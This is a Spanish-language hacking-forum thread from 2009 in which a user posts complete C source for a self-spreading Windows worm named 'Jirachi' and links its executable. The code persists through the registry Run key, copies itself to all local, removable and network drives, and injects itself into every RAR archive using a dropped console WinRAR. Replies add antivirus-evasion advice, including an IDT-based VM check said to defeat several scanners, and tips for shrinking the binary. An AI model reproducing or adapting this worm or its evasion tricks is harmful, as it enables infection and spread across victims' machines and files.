elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 07:35  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Dropear el winrar
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Dropear el winrar  (Leído 1,789 veces)
dark_hat

Desconectado Desconectado

Mensajes: 183



Ver Perfil
Dropear el winrar
« en: 24 Noviembre 2009, 11:43 »

El otro día pensando se me ocurrió hacer un worm que dropee el propio winrar para así infectar los archivos RAR sin buscar donde está instalado.

Aquí les dejo el code:

http://www.megaupload.com/?d=LJN95HTI

Código:
#include <windows.h>
#include "Rar binary.c"
#include "Image.c"

void Drop_file(char *File, char *Data, long Data_size);
void Execute(char *Program);
void Check_folder(char *Folder);
void Check_rar(char *File);

char Worm_name[] = "Jirachi";
char Run_key[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
char Worm_exe[] = "\\Jirachi.exe";
char Rar_exe[] = "\\Jirachi-Rar.exe";
char Root[] = "\x00:\\";
char Image_name[] = "Jirachi.gif";
char All_files[] = "*.*";
char Bar[] = "\\";
char Rar_file[] = ".rar";
char Quotes[] = "\"";
char Rar_params[] = "\" a -ep \"";
char Space[] = "\" \"";
char Worm_path[MAX_PATH];
char Rar_copy[MAX_PATH];

int main()
{
    HANDLE Mutex_handle;
    HKEY Key_handle;
    HMODULE My_handle;
    char System_path[MAX_PATH];
    char Worm_copy[MAX_PATH];
    UINT Drive_type;
    char Image_copy[MAX_PATH];
    
    Mutex_handle = CreateMutex(0, 0, Worm_name);
    if (GetLastError() != ERROR_SUCCESS) return 0;
    My_handle = GetModuleHandle(NULL);
    if (My_handle == NULL) return 0;
    if (GetModuleFileName(My_handle, Worm_path, MAX_PATH) == 0) return 0;
    if (GetSystemDirectory(System_path, MAX_PATH) == 0) return 0;
    strcpy(Rar_copy, System_path);
    strcat(Rar_copy, Rar_exe);
    Drop_file(Rar_copy, Rar_binary, sizeof(Rar_binary) - 1);
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, Run_key, 0, KEY_QUERY_VALUE + KEY_SET_VALUE, &Key_handle) != ERROR_SUCCESS) return 0;
    if (RegQueryValueEx(Key_handle, Worm_name, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
    {
                                    RegCloseKey(Key_handle);
                                    for (Root[0] = 'C'; Root[0] <= 'Z'; Root[0]++)
                                    {
                                        Drive_type = GetDriveType(Root);
                                        if ((Drive_type == DRIVE_REMOVABLE) || (Drive_type == DRIVE_FIXED) || (Drive_type == DRIVE_REMOTE)) Check_folder(Root);
                                    }
                                    while (TRUE)
                                    {
                                          for (Root[0] = 'C'; Root[0] <= 'Z'; Root[0]++)
                                          {
                                              Drive_type = GetDriveType(Root);
                                              if ((Drive_type == DRIVE_REMOVABLE) || (Drive_type == DRIVE_FIXED) || (Drive_type == DRIVE_REMOTE))
                                              {
                                                              strcpy(Worm_copy, Root);
                                                              strcat(Worm_copy, &Worm_exe[1]);
                                                              CopyFile(Worm_path, Worm_copy, TRUE);
                                                              SetFileAttributes(Worm_copy, FILE_ATTRIBUTE_READONLY);
                                                              strcpy(Image_copy, Root);
                                                              strcat(Image_copy, Image_name);
                                                              Drop_file(Image_copy, Image_binary, sizeof(Image_binary) -1);
                                              }
                                          }
                                          Sleep(5000);
                                    }
    }
    else
    {
        strcpy(Worm_copy, System_path);
        strcat(Worm_copy, Worm_exe);
        if (CopyFile(Worm_path, Worm_copy, TRUE) == 0) return 0;
        SetFileAttributes(Worm_copy, FILE_ATTRIBUTE_READONLY);
        if (RegSetValueEx(Key_handle, Worm_name, 0, REG_SZ, Worm_copy, strlen(Worm_copy)) != ERROR_SUCCESS) return 0;
        RegCloseKey(Key_handle);
        CloseHandle(Mutex_handle);
        Execute(Worm_copy);
    }
    return 0;
}

void Drop_file(char *File, char *Data, long Data_size)
{
     HANDLE My_handle;
     DWORD Bytes_written;
    
     My_handle = CreateFile(File, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_READONLY, NULL);
     if (My_handle == INVALID_HANDLE_VALUE) return;
     WriteFile(My_handle, Data, Data_size, &Bytes_written, NULL);
     CloseHandle(My_handle);
     return;
}

void Execute(char *Program)
{
     STARTUPINFO si;
     PROCESS_INFORMATION pi;
    
     ZeroMemory(&si, sizeof(si));
     si.cb = sizeof(si);
     if (CreateProcess(NULL, Program, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi) == 0) return;
     CloseHandle(pi.hProcess);
     CloseHandle(pi.hThread);
     return;
}

void Check_folder(char *Folder)
{
     char Find_all_files[MAX_PATH];
     WIN32_FIND_DATA WFD;
     HANDLE Find_handle;
     char File[MAX_PATH];
     char Extension[5];
    
     strcpy(Find_all_files, Folder);
     strcat(Find_all_files, All_files);
     Find_handle = FindFirstFile(Find_all_files, &WFD);
     if (WFD.cFileName[0] != '.')
     {
                          strcpy(File, Folder);
                          strcat(File, WFD.cFileName);
                          if ((WFD.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)
                          {
                                                    strcat(File, Bar);
                                                    Check_folder(File);
                          }
                          if ((WFD.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE) == FILE_ATTRIBUTE_ARCHIVE)
                          {
                                                    strcpy(Extension, &File[strlen(File) - 4]);
                                                    CharLower(Extension);
                                                    if (strcmp(Extension, Rar_file) == 0)
                                                    {
                                                                           Check_rar(File);
                                                    }
                                                    
                          }
     }
     while (FindNextFile(Find_handle, &WFD))
     {
           if (WFD.cFileName[0] != '.')
           {
                                strcpy(File, Folder);
                                strcat(File, WFD.cFileName);
                                if ((WFD.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)
                                {
                                                          strcat(File, Bar);
                                                          Check_folder(File);
                                }
                                if ((WFD.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE) == FILE_ATTRIBUTE_ARCHIVE)
                                {
                                                          strcpy(Extension, &File[strlen(File) - 4]);
                                                          CharLower(Extension);
                                                          if (strcmp(Extension, Rar_file) == 0)
                                                          {
                                                                 Check_rar(File);
                                                          }
                                }
           }
     }
     FindClose(Find_handle);
     return;
}

void Check_rar(char *File)
{
     char Command[MAX_PATH * 3];
    
     strcpy(Command, Quotes);
     strcat(Command, Rar_copy);
     strcat(Command, Rar_params);
     strcat(Command, File);
     strcat(Command, Space);
     strcat(Command, Worm_path);
     strcat(Command, Quotes);
     Execute(Command);
     return;
}
« Última modificación: 24 Noviembre 2009, 23:08 por dark_hat » En línea

Eso que huele es un poco de incienso,
eso marrón una tableta de turrón...
[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.508


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: Dropear el winrar
« Respuesta #1 en: 24 Noviembre 2009, 15:52 »

solo te tengo unas preguntas...

1) hace cuanto lo creaste?
2) Por cuantos AV es detectado? Me auto respondo
3) Sabes que por las reglas del foro no esta permitido subir ejecutables con cierto grado de peligrosidad?
4) Que hay dentro de Image.C y de Rar binary.c?

Dos sugerencia, cuando publiques un worm haz lo mejor posible para que la taza de deteccion sea baja, como maximo 1 AV, no mas. y trata de que el ejecutable quede lo mas pequeño posible, algo de 380kb sin verificacion de espacio en disco puede tornarse un problema.

En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 856



Ver Perfil
Re: Dropear el winrar
« Respuesta #2 en: 24 Noviembre 2009, 15:59 »

  A my me parece que esta bueno el code y si suben el source pueden subir el exe creo ....  :¬¬ pues aparte de lo que dijo R.N.A agrego que requiere privilegios pero con la gran cantidad de instalaciones default que hay por alli eso no debe ser problema para los AV tienes que llamar las Apis dinamicamente desde las dll como es un solo thread no debe de ser problema, Usaste Recursividad  ;) eso es de resaltar  :) En fin me parece bueno el source   :¬¬  ...
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
dark_hat

Desconectado Desconectado

Mensajes: 183



Ver Perfil
Re: Dropear el winrar
« Respuesta #3 en: 24 Noviembre 2009, 18:10 »

solo te tengo unas preguntas...

1) hace cuanto lo creaste?
2) Por cuantos AV es detectado? Me auto respondo
3) Sabes que por las reglas del foro no esta permitido subir ejecutables con cierto grado de peligrosidad?
4) Que hay dentro de Image.C y de Rar binary.c?

Dos sugerencia, cuando publiques un worm haz lo mejor posible para que la taza de deteccion sea baja, como maximo 1 AV, no mas. y trata de que el ejecutable quede lo mas pequeño posible, algo de 380kb sin verificacion de espacio en disco puede tornarse un problema.



1) Lo acabo de terminar hoy mismo.
2) Es detectado por varios AVs, no me he ocupado de eso porque no lo voy a liberar, aún...
De todas formas añadiendo un
Código:
    asm volatile("sidt %0": "=m" (FWORD));
    if ((FWORD[4] & '\x01') != '\x01') return 0;
dejan de detectarlo varios AVs.
3) Hombre, yo he subido el ejecutable con el source y con el proyecto entero y diciendo claramente que es un worm, no creo q nadie lo ejecute creyendo que es un juego.
4) Image.c y Rar binary.c son los archivos rar.exe y jirachi.gif convertidos en codigo c en string para que el worm los pueda dropear. rar.exe es el winrar en version consola.
En línea

Eso que huele es un poco de incienso,
eso marrón una tableta de turrón...
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.132


Se siente observado ¬¬'


Ver Perfil
Re: Dropear el winrar
« Respuesta #4 en: 24 Noviembre 2009, 18:39 »

Muy interesante ;D

Pero mas inteligente seria utilizar el gestor de ficheros comprimidos que tenga instalado el sistema :P


[OFFTOPIC]
Código:
asm volatile("sidt %0": "=m" (FWORD));
if ((FWORD[4] & '\x01') != '\x01') return 0;
Siempre me gusto la IDT :)
[/OFFTOPIC]
« Última modificación: 24 Noviembre 2009, 18:44 por Karcrack » En línea

[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Dropear el winrar
« Respuesta #5 en: 24 Noviembre 2009, 18:40 »

Está bueno el código, lo añado a mi pequeña recopilación  ;D. Sólo una pequeña recomendación, si programas malware es bueno que te acostumbres a no utilizar la CRT Library, por ejemplo los strcmp y strcat los puedes sustituír por lstrcmpA y lstrcatA de la kernel32, así reducirás considerablemente el peso del ejecutable final.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.508


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: Dropear el winrar
« Respuesta #6 en: 25 Noviembre 2009, 04:31 »

3) Hombre, yo he subido el ejecutable con el source y con el proyecto entero y diciendo claramente que es un worm, no creo q nadie lo ejecute creyendo que es un juego.

Creeme que ya ha sucedido... incluso hay que compilan y ejecutan sin saber
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines